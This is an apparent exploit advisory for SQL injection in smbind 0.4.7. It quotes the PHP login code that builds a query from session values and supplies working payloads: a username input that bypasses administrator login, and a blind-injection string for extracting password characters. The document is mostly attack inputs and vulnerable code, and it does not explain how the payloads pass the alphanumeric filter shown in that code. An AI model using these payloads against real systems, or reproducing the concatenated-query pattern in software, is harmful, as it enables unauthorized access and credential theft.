smbind 0.4.7 - SQL Injection

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# smbind <= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
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# Buggy code:
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if(isset($_POST['username']) && isset($_POST['password'])) {
        if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
                die("Username and password must contain only letters and numbers.");
        }
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
        $res = $dbconnect->query("SELECT ID FROM users WHERE username = '" . $_SESSION['username'] ."' AND password = '" . md5($_SESSION['password']) . " ' ");
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#
# Easy admin login
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# Enter in username field: admin'; #
# Enter in password field: [anything]
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# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
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# Limitation and Blind Sql Injection
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# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
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